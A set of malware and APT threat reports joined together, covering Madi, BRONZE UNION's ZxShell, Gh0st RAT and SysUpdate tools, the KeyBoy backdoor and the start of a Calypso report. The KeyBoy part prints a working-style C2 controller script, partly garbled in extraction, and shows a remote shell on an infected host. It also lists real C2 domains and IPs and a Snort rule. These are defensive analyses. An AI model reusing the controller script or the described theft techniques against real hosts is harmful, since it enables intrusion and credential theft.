Timer 37 is only enabled when 1.txt isnt present, by Timer 36.
Lets ignore the reasons for its creation and continue analyzing the intentions of the authors.
Timer 37 calls the BeginUpdateResource (with the bDeleteExistingResources parameter set to 0), and start updating the resources of the template executable (soltanik.exe) in RCDATA.
A MAHDI entry is added, with the Base64 content from 1.txt.
This works in exactly the same way as the downloaders with social engineering features.
Timer 38 is enabled, and Timer 37 returns.
Note: At the end of Timer 37, Soltanik has been modified to have a new resource: MAHDI.
Timer 38: Update more resources from the template downloader (Soltanik.exe) Several entries are added to RCDATA: Shelikn : Special BotID generated by Timer 35 SiteW: CC IP address Bind: Empty (according to analysis of the downloaders that use social engineering, it should be the extension of the embedded file dropped to social engineering victims.
If MAHDI contains a Base64 encoded picture, Bind should be set to .JPG).
Filee: SCR Roze: 0 Once the resources have been updated, Timer 39 is enabled and Timer 38 returns.
Timer 39: Generate a final binary: Server.exe with updated icon At the end of Timer 38, soltanik.exe has been fully updated with new resources.
Upon execution, Timer 39 disables itself and starts generating a special command line for the Resource Hacker tool that was created as Res.exe by Timer 47.
The command line is the following: There is a bug in the routine.
An executable name is missing right after -extract.
The command line dumps the Main Icon to disk (Icon_1.ico) and creates a file called output.rc.
At this point, it is impossible to know which file was meant to be used as the source of a new icon.
For the sake of our analysis, lets pretend the bug doesnt exist and that a valid file name was provided.
Afterwards, a second command line is passed to Res.exe: This final command line will generate Server.exe, a copy of soltanik.exe whose icon has been changed to the one extracted in the previous command.
Server.exe is now fully updated.
Its resources are filled, and its icon changed.
Its not clear why the authors did this, but despite all the bugs it was possible to understand the overall aim of the routine: to create a Server.exe file from soltanik.exe with a new icon and added resources.
What happens to Server.exe?
Nothing, this is a non-working feature.
It appears Madi has the ability to generate new downloaders, at least, in theory.
The 7 remaining timers wont be described as they are of little interest.
Conclusions In this article we closely analyzed the infostealer used in the Madi campaign.
The coding style and the usage of Delphi, together with the programming techniques indicate a rudimentary approach.
Most of the data-stealing actions and communication with the CC servers take place via external files, which is rather messy.
Whoever coded it is probably still reading through the first chapters of their Delphi manuals.
This is maybe why it is surprising to note its effectiveness, considering the data received from the sinkhole.
During the monitored period, a little over 800 victims were connected to the servers.
All of them fell prey to the various social engineering techniques used by the malware.
To sum up, we can say the following: the components of the Madi campaign are surprisingly unsophisticated no exploits or advanced 0-day techniques are used anywhere in the malware despite that, the overall success of the campaign is surprisingly high nevertheless, we should remember that even low quality malware can steal data Madi was a low investment, high profit project its authors remain unknown We will continue to monitor the Madi malware and update you on our findings in the future.
A Peek into BRONZE UNIONs Toolbox secureworks.com/research/a-peek-into-bronze-unions-toolbox Threat Analysis Wednesday, February 27, 2019 By: Counter Threat Unit Research Team Summary Secureworks Counter Threat Unit (CTU) researchers have tracked the activities of the BRONZE UNION threat group (also known as Emissary Panda, APT 27, and LuckyMouse) since 2013.
CTU analysis suggests that BRONZE UNION is located in the Peoples Republic of China.
The threat group has historically leveraged a variety of publicly available and self-developed tools to gain access to targeted networks in pursuit of its political and military intelligence-collection objectives.
Breathing new life into old tools In 2018, CTU researchers identified evidence of BRONZE UNION leveraging tools that have been publicly available for years.
However, the variants used in 2018 included updated code.
ZxShell games In mid-2018, CTU researchers observed BRONZE UNION deploying an updated version of the ZxShell remote access trojan (RAT).
ZxShell was developed in 2006 by the persona LZX, who then publicly released the source code in 2007.
Although various threat actors have created different variations of the RAT, the version used by BRONZE UNION in 2018 contained some previously unobserved properties that suggest the threat groups capabilities continue to evolve: The malware embedded the well-known HTran packet redirection tool.
The malware was signed with digital certificates that were signed by Hangzhou Shunwang Technology Co., Ltd (Serial: 29 f7 33 6f 60 92 3a f0 3e 31 f2 a5) and Shanghai Hintsoft Co., Ltd. (Serial: 09 89 c9 78 04 c9 3e c0 00 4e 28 43).
These certificates are not exclusively used by BRONZE UNION but may indicate BRONZE UNION activity.
Figure 1 shows a session captured by Red Cloak where a BRONZE UNION threat actor launched a remote shell using ZxShell.
Figure 1.
|
72
|
Decoded Gh0st RAT check-in packet.
| 18,168
| 18,340
| 173
|
data/reports_final/0072.txt
|
Decoded Gh0st RAT check-in packet.
(
Source: Secureworks) The first byte of Figure 3 shows the value 0x66, which is the Gh0st RAT code for login.
After sending the initial phone- home request, Gh0st RAT exchanges 22-byte command packets with its command and control (C2) server.
Once again, the first five bytes are randomized and the zlib-compressed part of the packet is XOR-encoded, but the same identifiable structure remains.
In the example command packet shown in Figure 4, the first five bytes are the randomized header and the next eight bytes show the compressed and uncompressed size of the data.
The XOR key for this packet is 0x7c.
Figure 4.
Gh0st RAT command packet.
(
Source: Secureworks) Creating custom solutions In addition to publicly available tools, BRONZE UNION has also used proprietary remote access tools such as SysUpdate and HyperBro since 2016.
Despite self-developed tools generally benefitting from lower detection rates than publicly available tools, the threat actors appear to use their own tools more sparingly after securing consistent network access.
SysUpdate is a multi-stage malware used exclusively by BRONZE UNION.
It has been delivered by multiple methods.
In one instance observed by CTU researchers, it was downloaded by a malicious Word document using the Dynamic Data Exchange (DDE) embedded command method.
In another incident, the threat actor manually deployed SysUpdate via previously stolen credentials after gaining access to the environment.
In a third case, it was delivered via a redirect from a strategic web compromise (SWC).
Regardless of the delivery method, the payload is a WinRAR self-extracting (SFX) file that installs the SysUpdate stage 1 payload.
The stage 1 payload is responsible for the following tasks: installing the stage 1 malware through DLL search-order hijacking setting up persistence by configuring either a registry Run key (see Figure 5) or an Own Process Windows service depending on privileges available at the time of installation contacting a C2 server to retrieve and install a second malware payload 3/9 https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/ https://securelist.com/luckymouse-hits-national-data-center/86083/ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(vvs.85).aspx https://attack.mitre.org/techniques/T1038/ Figure 5.
SysUpdate user-level Run key.
(
Source: Secureworks) SysUpdate stage 1 has no capability beyond downloading the second payload file, SysUpdate Main (see Figure 6).
Figure 6.
SysUpdate stage 1 installation process.
(
Source: Secureworks) SysUpdate Main employs HTTP communications and uses the hard-coded User-Agent Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36.
It downloads a file named m.bin using the HTTP GET method and injects this file into a new svchost.exe process without saving the file to disk.
After performing this download, SysUpdate Main reverts to its binary protocol for any additional commands from the C2 server, beaconing every three minutes.
The SysUpdate Main file analyzed by CTU researchers included remote access capabilities such as managing files and processes, launching a command shell, interacting with services, taking screenshots, and uploading and downloading additional malware payloads.
SysUpdate is flexible malware, as capabilities can be easily introduced and withdrawn by supplying a new payload file.
The operator could remove second-stage capabilities at any time and revert to the first stage by supplying a replacement payload file.
By withdrawing second-stage payloads when not in use, operators can limit exposure of their full capabilities if the malicious activity is detected.
Conclusion 4/9 BRONZE UNION was one of the most prolific and active targeted threat groups tracked by CTU researchers in 2017 and 2018.
The threat actors have access to a wide range of tools, so they can operate flexibly and select tools appropriate for intrusion challenges.
During complex intrusion scenarios, the threat actors leverage their proprietary tools, which offer custom functionality and lower detection rates.
They appear to prefer using widely available tools and web shells to maintain access to networks over longer periods.
After accessing a network, the threat actors are adept at circumventing common security controls, escalating privileges, and maintaining their access to high-value systems over long periods of time.
Threat indicators The threat indicators in Table 2 are associated with BRONZE UNION activity.
Note that IP addresses can be reallocated.
The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser.
Indicator Type Context b7f958f93e2f297e717cffc2fe43f2e9 MD5 hash ZxShell installer fa53f09cd22b46b554762dc1a12c99dd692ec681 SHA1 hash ZxShell installer ef049339f1eb091cda335b51939f91e784e1ab1e006056d5a6bb526743b6cbc7 SHA256 hash ZxShell installer 62bcbfae5276064615d0d45b895fdff2 MD5 hash ZxShell service DLL (AudioSdk.dll) 9020e5010a916c6187597e9932402ed29098371c SHA1 hash ZxShell service DLL (AudioSdk.dll) c2229a463637433451a3a50ccf3c888da8202058f5022ffd2b00fc411b395b79 SHA256 hash ZxShell service DLL (AudioSdk.dll) ae9c39e0d9a0c0ae48a72cb10521d2f3 MD5 hash Malicious driver associated with ZxShell (autochk.sys) 2e80926d67ea68acb1df441be5ee1f2d86e7f92b SHA1 hash Malicious driver associated with ZxShell (autochk.sys) b28c024db80cf3e7d5b24ccc9342014de19be990efe154ba9a7d17d9e158eecb SHA256 hash Malicious driver associated with ZxShell (autochk.sys) language.wikaba.com Domain name ZxShell C2 server solution.instanthq.com Domain name ZxShell C2 server 40cdd3cfe86c93872b163fb3550f47f6 MD5 hash Gh0st RAT installer (T.exe) ad2b27ea2fde31b1cc5104c01a21b22fef507c3d SHA1 hash Gh0st RAT installer (T.exe) 9a1437edd0493ff615a77b9ee1717c5f49ab0b28d1778898f591fb803655fbc6 SHA256 hash Gh0st RAT installer (T.exe) 9c42cd7efbdfc47303d051f056c52d29 MD5 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 5/9 b8aa43dc92bec864c94442e6bf8c629c3bd0fe92 SHA1 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 0b1217bd95678ca4e6f81952226a0cfd639ce4b2f7e7fce94ab177d42c5abf62 SHA256 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 06348bbe0cc839f23c2d9471cfb19de3 MD5 hash Gh0st RAT installer (Update.exe) cd7c92ac0b36a8befa1b151537fc3fcdafca8606 SHA1 hash Gh0st RAT installer (Update.exe) b43ccd5b23d348f72466612d597ad71246113a9d524c9b27e682d1f7300a0672 SHA256 hash Gh0st RAT installer (Update.exe) 43.242.35.16 IP address Gh0st RAT C2 server observed in April 2018 103.85.27.78 IP address Gh0st RAT C2 server observed in April 2018 trprivates.com Domain name SysUpdate C2 server sinkholed by CTU researchers mildupdate.com Domain name SysUpdate C2 server sinkholed by CTU researchers 43.242.35.13 IP address SysUpdate C2 server observed in late 2017 c8d83840b96f5a186e7bb6320e998f72 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 42e3fbff6f5576a3f4e8f941ea3dc00462d7838c SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 938f32822c1a6b1140ac0af60a06ae39011464de37c511921d8a7d9c6a69c9df SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION ef41da16fdedcc450d0cc6ca708a9222 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 714215d63b2f2d8f2caf94902af2f25452c21264 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 0777fa4832ecf164029e23d0125b4fdc87e2f46ffc4e1badd6a45cf5be721660 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION c25e8e4a2d5314ea55afd09845b3e886 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION e8cf3522b68a51b2aabcfc6f98b39da15a23da1d SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION Indicator Type Context 6/9 76bc063f8f348a202f92faac0c36f1a0a122f9b3568342abcd97651be7adec08 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 88a27758f3066dd4da18983a005ddc20 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 1f9c979cbab9ff2519aa3bf3006a752177f4d8c6 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 24a7e226f14fb86275b423d63d0332bfb95e261532f0667517c01da9d2bc51b3 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 17acc1d983dde32b5bcde9c9624848b0 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a03b14cac23dcfa2b2e12d5a8e53959d5a2e8fa2 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 3f69c0e7392bc6441a308281b07627797613d89666a5c9b22cb104edf359c46b SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a13772805b772f374f7d709999a816d5 MD5 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION fa9600f1d15e61d5f2bdb8ac0399b7f42da63a01 SHA1 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION d40903560072bb777290d75d7e31a927f05924bffe00d26713c6b39e8e68ae82 SHA256 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION 78142cdad08524475f710e5702827a66 MD5 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION bc20da9465a7a7f9c2d5666ea5370c6c1e988441 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 3cebc9161e3e964a2e7651566c5a710d0625192ddecd14cfc5a873e7bc6db96f SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 0955e01bc26455965b682247ecb86add MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 23533c452b12131253e4e21f00ae082eba7cfdb3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9d9c9c17ae4100b817a311ea0c6402e9f3eedc94741423796df3ead1375aaebf SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d4bb5c6364c4b4a07e6bbf2177129655 MD5 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION Indicator Type Context 7/9 0689e40696a0cbecc5c3391e8b8b40d27a033186 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION dcfc9e4077705385328133557629fffee11662b7843b34dd4e1e42404ac2e921 SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION cbb84d382724dd8adc5725dfca9b4af1 MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 88de66897c448229b52c2ac991ba63e14fc3276b SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 01926af0ff76607b3859734dda4b97fc55a8b8c2582982af786977929a414092 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 8cb11e271aba3354545a77751c1e783e MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION e49833f2a4ec0422410a1c28ef58c9fc33c3a13f SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 7f16b19f22ab0a33f9bf284aa0c2a9b9a429c4f4b7b801f2d2d80440eb74437f SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 53d0db22c5abaf904d85facb70a60c8e MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d363606e6159a786b06891227efac2164eeda7b3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION a941d46d6352fb2d70bba1423c4890dd5516e45d81f826900272ed14d0b678f4 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9814cdc7033a97fcf4f31aa377be60ba MD5 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 2d568eb8ef17529e8bb6e658a032690e0f527d24 SHA1 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 9c1c798ba8b7f6f2334dcfcb8066be05d49c2e1395f7e7c8332e42afa708f5ae SHA256 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 8b8e44bd5e4a9f7d58714ba9ca72351c MD5 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 02704ef94519eee0a57073b1e530ffea73df2a1f SHA1 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 86de90119b572620fd6a690b903c721679359cdc81f3d3327677e13539d5f626 SHA256 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate Indicator Type Context Table 2.
Indicators for this threat.
8/9 9/9 A Peek into BRONZE UNIONs Toolbox Summary Breathing new life into old tools ZxShell games You look like youve seen a Gh0st RAT Creating custom solutions Conclusion Threat indicators
KeyBoy, Targeted Attacks against Vietnam and India In our never-ending quest to spot and expose the nastiest of the Internet, me and Mark this time incidentally stepped into a targeted attacks campaign apparently directed at a distributed and diversified base of victims.
In this blog post well analyze two specific incidents apparently targeting victims in Vietnam and in India and well describe the capabilities of the custom backdoor being used that for convenience (and to our knowledge, for a lack of an existing name) we call KeyBoy, due to a string present in one of the samples.
Well describe how the attackers operate these backdoors, provide some scripts useful to further investigate the campaign as well as meanings to detect infections or scout for additional samples.
Exploits and Payloads We encountered the first document exploit called THAM luan- GD- NCKH2.doc a few days ago, which appears to be leveraging some vulnerabilities patched with MS12-060.
When opened with a vulnerable version of Microsoft Word, the exploit will initiate the infection routine and display the legitimate document that follows: http://twitter.com/botherder http://twitter.com/repmovsb https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3201/document.jpg This document, written in Vietnamese, appears to be reviewing and discussing best practices for teaching and researching scientific topics.
We have no knowledge on the identity of the target, but we can assume he might part of the Vietnamese academic community.
The document is named to Nguyen Anh Tuan, which is presented as author of this crafted text.
Following are the hashes of the exploit file: THAM luan- GD- NCKH2.doc Hash Value MD5 161c840748df9b49fda878394398425a SHA1 e3cc84a4dc66e43453a039c3c983fcef92eafa7d SHA256 5ba8c42807bee050aa474fe3c876936d196c65dca9895ccd2e317133188c905e SHA512 30bb6c3bcb797b8ebe5ab4bef59173ba358ea6713ea26cbc0147c37b99a54eca62f09475299a44c3 98679f84fa87dc6dff084a185543945f123fb34236fa825b When executed the exploit initially creates and launches a dropper at location Temp\svchost.exe with the following hashes: svchost.exe Hash Value MD5 1f4d22e5131a66aa24f44eb0d4f1b54d SHA1 2c8a144331ec124755413f31a83e21015c74f2ec SHA256 1c076413cca929b7004863f1a3992afda665786d6e179b9886ddeb8062194049 SHA512 6a73333ca96ce0db7fa62eec34987070b823d95618e9c5e36ac0486927270794790d957ebc40c513 23941ed22acded5ecfa3e9acd88f2c66a6619fa6793231ea This payload then creates a DLL file in system32 called CREDRIVER.dll, which is in fact the actual backdoor: CREDRIVER.dll Hash Value MD5 2df60de8cb6b9fe7db1ea10581cfcda4 SHA1 fb8057595f2bb53331620c717775751df781c151 SHA256 ba4863d8a22864fa50a32aa85bc808371f05e8953167d34251cbd779d33e2d6d SHA512 5907c682e1cce4ce2aae3a165abefd40e7de4c4befefe895204ee59f9efd11ef75f894cd535597fe 698de80f6ee4e361234c96a0454c490b4faa69869191ed81 We also identified another document exploiting CVE-2012-0158, but this time apparently targeting some Indian individuals.
The content of the document is the following: This time the bait appears to be related to the state of telecommunication infrastructure in the district of Calcutta in India, discussing the coverage of GSM networks and availability and stability of broadband connections.
Also for this intrusion we cant know the identity of the target, but our hypothesis is either someone in the telecommunications industry or a representative of the local government.
In this case this crafted document pretends to be authored by someone called Amir Kumar Gupta.
iafbsnl.doc Hash Value MD5 dff54d302900e323c8988c725bbe2299 SHA1 c5c0bae48c326006b9dcc99855646d3be0b474c1 SHA256 1595ea659a87677c59a195a3aeec9e3ef135c808ec353222e8eaa662117c9362 SHA512 6568f1f054c56716506ea2acdfb60919cc55f3da4ef05dee88925b6ccb835ad471e7d0d3e61befca 8b7d320c08ee7ba96322c127329c6f94bfb288eeb9c6a0c5 https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3210/indiadoc.jpg CREDRIVER.dll Hash Value MD5 2b8c79678fa970ca4e229121e3de206f SHA1 5e4b7268606d6c98d00874431d39c34971149200 SHA256 c22792dbf9a0279b36fa22f775a92ddfea9545cc842381ba84c2402c76aa393a SHA512 0b064bad3a237734cf74f587a573a79949c79f8922df444ac7d73474d5cab739b495036624a3b907 b18acb276ac5f8c777d4565bbba8e615212a2aedbc54f95e All backdoors appear to be compiled on April 1st 2013, suggesting that the attacks are reasonably recent.
Analysis of the Backdoor For the sake of this analysis well take the Vietnamese backdoor as an example the one found in the Indian attack operates in the exact same way.
As mentioned, when the exploit is opened a dropper is created and launched, which then takes care of creating a Windows service called MdAdum, which is then visible in the registry as follows: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3203/service_1.jpg https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3204/service_2.jpg The dropper then launches the service with the DLL located at C:\WINDOWS\system32\CREDRIVER.dll and deletes itself.
Resilience on the system is guaranteed by the use of such service which will be executed at every start up.
Note that the Indian attack does not make use of this middle-stage dropper, but directly installs and launches the Windows service instead.
This backdoor has several features including: 1.
Steal credentials from Internet Explorer 2.
Steal credentials from Mozilla Firefox 3.
Install a keylogger for intercepting credentials on Google Chrome 4.
Operate in an interactive mode to allow the attacker to perform additional investigation on the compromised system and exfiltrate data.
Following you can see the portion of the code where the backdoor, after having verified which version of Mozilla Firefox is installed on the system, decides which technique to use to recover the credentials from the browsers local storage.
In older versions of Firefox, credentials were stored in several .txt files in AppData\Mozilla\Firefox, while in most recent ones they are stored in a SQLite database.
In the following snipped you see the SQL statement to extract the data: Just in the same way, the backdoor attempts to collect password autocomplete from Internet Explorer: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3205/ffversion.png https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3206/ffpwd.png The backdoor also creates a separate thread that installs a Windows hook procedure on message WH_KEYBOARD_LL, through which it can intercept keystrokes.
We believe this is mainly used to intercept credentials from other browsers, specifically Google Chrome: Analysis of the Protocol The backdoor tries to contact the following domains until it gets a response from an active one: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3207/ie7pwd.png https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3209/keylog.png silence.phdns01.com cpnet.phmail.us imlang.phmail.org The Indian backdoor tries to contact the following domains instead: cresy.zyns.com preter.epac.to backto.ddns.name In the first set of domains they are either registered with Whois proxy services or with fake identities.
In the second set they are making use of a dynamic DNS service by ChangeIP.com.
Following are traces collected from passive DNS data relevant to the hosts involved in these attacks: Domain First Seen Last Seen IPs ASN silence.phdns01.com May 21st 2013 May 25th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. cpnet.phmail.us May 10th 2013 May 24th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. imlang.phmail.org May 22nd 2013 May 23rd 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. vtt.phdns01.com March 9th 2013 April 19th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. preter.epac.to May 31st 2013 May 31st 2013 1.235.10.28 (TTL: 30) 9318 - HANARO-AS Hanaro Telecom Inc. preter.epac.to May 18th 2013 May 28th 2013 113.160.44.154 (TTL: 30) 45899 - VNPT-AS-VN VNPT Corp This is an initial request that the backdoor would send out on port 443 to an active CC: 00000000 c4 4c 87 3f 11 1e c4 1a 2c a9 12 1a 19 61 82 de .L.?....,....a..
00000010 19 26 f8 de bd 26 de 19 b0 19 1a 95 a1 dd 2b 6d ............m 00000020 c2 1a 82 b0 19 eb 47 b0 26 47 b0 26 20 82 eb ca ......G.G.
... 00000030 bd 26 ca 82 54 1a d0 c2 87 38 a1 20 82 b0 19 eb ...T....8.
....
00000040 b0 54 b0 19 1a 00 .T.... At the time of the analysis all the CC servers were not responding, we started reverse engineering the communication protocol and noticed that it simply used a multiply with 0x69 to encode the traffic sent to the controllers.
You can easily decode the content of the payload with the following Python snippet: The previous packet decodes to the following: login LAB 192.168.56.101 MyUser 2013/06/06 23:56:24 Proxy 20130401 While reverse engineering the backdoor we noticed that the malware expects the following messages from the CC server it contacts: Sysinfo FileManager Download UploadFileOk Shell Intrigued by its capabilities, we started reconstructing the communication protocol and practically building a tool that would operate just like the original controller used by the attackers.
The following is a preliminary Python script that implements the protocol used by the malware and allows you to interact with it: 1.
2.
3.
4.
5.
6.
7.
8.
9.
import sys 10.
import socket 11.
import select 12.
13.
14.
def decode(x): 15.
return .join([chr((ord(i)0xd9)0xff) for i in x]) 16.
17.
18.
def encode(x): 19.
return .join([chr((ord(i)0x93)0xff) for i in x]) 20.
21.
22.
def main(): 23.
s socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) 24.
s.setsockopt(socket.
SOL_SOCKET, socket.
SO_REUSEADDR, 1) 25.
s.bind((0.0.0.0, 443)) 26.
s.listen(1) 27.
28.
29.
print [] CC Running on 0.0.0.0:443 30.
31.
32.
while True: 33.
s2, ca s.accept() 34.
print [] New client connected:, ca 35.
36.
while True: 37.
dec 38.
rlist, wlist, xlist select.select([s2,],[],[], 10) 39.
while rlist: 40.
data s2.recv(2048) 41.
if not data: break 42.
43.
44.
dec decode(data) 45.
print dec 46.
rlist, wlist, xlist select.select([s2,],[],[], 2) 47.
48.
49.
if dec.startswith(login): 50.
print [] Authenticating on the bot 51.
s2.send(encode(login_OK) \x00) 52.
s2.send(encode(Refresh) \x00) 53.
elif dec.startswith(OnLine): 54.
s2.send(encode(test) \x00) 55.
else: 56.
cmd raw_input(shell ).strip() 57.
s2.send(encode(cmd)\x00) 58.
59.
60.
s2.close() 61.
62.
63.
s.close() 64.
return 0 65.
66.
67.
if __name__ __main__: 68.
try: sys.exit(main()) 69.
except KeyboardInterrupt: pass We then launched this script and redirected the traffic coming from a system infected with KeyBoy and took control of it .
Here you can see the bot beaconing in and requiring for authentication (funny enough the password is test, while the Indian sample uses dns.com): [] CC Running on 0.0.0.0:443 [] New client connected: (192.168.56.110, 1443) login LAB 192.168.56.110 MyUser 2013/06/07 02:18:35 Proxy 20130401 [] Authenticating on the bot OnLine Pw_OK When the authentication is confirmed, we are prompted with a shell through which we can interact in real-time with the bot.
The messages we previously identified represent the actual commands that can be sent to the bot: Sysinfo: returns detailed information on the computer (pretty much the output of systeminfo) the bot will respond with a message with the header sysinfo.
FileManager: interact with all the disks available on the victim system the bot will respond with a message with the header fileManager.
Download: download a file from the compromised system the bot will respond with a message with the header fileDownload.
UploadFileOk: upload a file to the compromised system the bot will respond with a message with the header fileUpload.
Most interestingly the command Shell spawns a Windows command shell that we can control remotely: shell Shell shell Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32 shell tasklist shell tasklist shell Image Name PID Session Name Session Mem Usage System Idle Process 0 Console 0 28 K System 4 Console 0 236 K smss.exe 368 Console 0 388 K csrss.exe 584 Console 0 3,740 K winlogon.exe 608 Console 0 4,312 K services.exe 652 Console 0 3,368 K lsass.exe 664 Console 0 6,152 K VBoxService.exe 820 Console 0 3,092 K svchost.exe 864 Console 0 4,696 K svchost.exe 952 Console 0 4,252 K svchost.exe 1044 Console 0 20,424 K svchost.exe 1100 Console 0 3,584 K svchost.exe 1160 Console 0 4,268 K spoolsv.exe 1428 Console 0 4,996 K explorer.exe 1656 Console 0 29,944 K VBoxTray.exe 1820 Console 0 3,620 K GrooveMonitor.exe 1868 Console 0 4,340 K ctfmon.exe 1888 Console 0 3,148 K jqs.exe 2040 Console 0 1,396 K vmware-usbarbitrator.exe 248 Console 0 3,180 K alg.exe 1380 Console 0 3,440 K wscntfy.exe 1692 Console 0 1,804 K wuauclt.exe 1116 Console 0 6,568 K svchost.exe 796 Console 0 4,088 K cmd.exe 480 Console 0 2,624 K tasklist.exe 724 Console 0 4,068 K wmiprvse.exe 1256 Console 0 5,544 K C:\WINDOWS\system32 While the interaction with the bots could also be scripted, it might be plausible that the operators of these intrusions might be interacting with their targets exclusively manually to collect different data depending on each individual they infected and the goals they had set for the attack.
Detecting Infections While these are clearly not widespread attacks and, as in any other targeted attack case, we should not create alarmism for threats that are likely irrelevant for the majority of organizations, we want to share a few indicators that might help identify infections or assist in further research by whoever is interested in this campaign.
Firstly, thanks to the fixed patterns used by the malware in the authentication procedure, we can detect outbound traffic from infected hosts with the following simple Snort rule: alert tcp HOME_NET any - EXTERNAL_NET any (msg:KeyBoy Backdoor Login flow:to_server content:c4 4c 87 3f 11 1e c4 1a depth:8 sid:1000001 rev:1 classtype:trojan-activity reference:url,community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-tar geted-attacks- against-vietnam-and-india) The simplest way to identify an infection on a given Windows system, is just to look for the existence of the file C:\WINDOWS\system32\CREDRIVER.dll or of a service called MdAdum.
We also created a couple of Yara rules that you can use to scan your systems your collection of malware samples to identify copies of KeyBoy: Conclusions Not a day passes by without hearing of someone hit by a targeted attack.
Recently the growth of amount and scale of targeted attacks has come to the point were they are starting to look more like opportunistic carpet bombings rather than ninja strikes.
Its common to observe attacks pulled off successfully without any particular sophistication in place, including the incidents described in this post.
Its also getting quite difficult to attribute the attacks to any state-sponsored unit, both because theres a generic lack of strong evidence in such incidents (which is why we refrained from making any statement on the origin of these intrusions) but frankly also because almost anybody could operate such campaigns and be reasonably successful.
The only differentiation between actors at this point exclusively relies on identifying the motivations and the context.
Beware though, just because these attacks are conceptually targeted, it doesnt necessarily mean that they should have a higher priority than any other threat on your security program.
Our suggestion remains the same: identify your core assets, recognize the most impactful threats to such assets and inform and protect yourself accordingly.
This research was brought to you by Claudio Guarnieri and Mark Schloesser from Rapid7 Labs.
http://twitter.com/botherder http://twitter.com/repmovsb
ptsecurity.com Calypso APT 2019 Contents Calypso APT 2 Initial infection vector 3 Lateral movement 4 Attribution 4 Analyzing Calypso RAT malicious code 6 Dropper 6 Installation BAT script 7 Shellcode x86: stager 9 Modules 10 Commands 11 Network code 13 Shellcode x64: stager (base backdoor) 13 Modules 14 Commands 15 Network code 17 Other options 19 Dropper-stager 19 Hussar 20 Initialization 20 Modules 22 FlyingDutchman 23 Conclusion 26 Indicators of compromise 26 Network 26 File indicators 26 Droppers and payload 26 Droppers with the same payload 27 Payload without dropper 27 Hussar 27 FlyingDutchman 27 MITRE ATTCK 28 1 Calypso APT The PT Expert Security Center first took note of Calypso in March 2019 during threat hunting.
Our specialists collected multiple samples of malware used by the group.
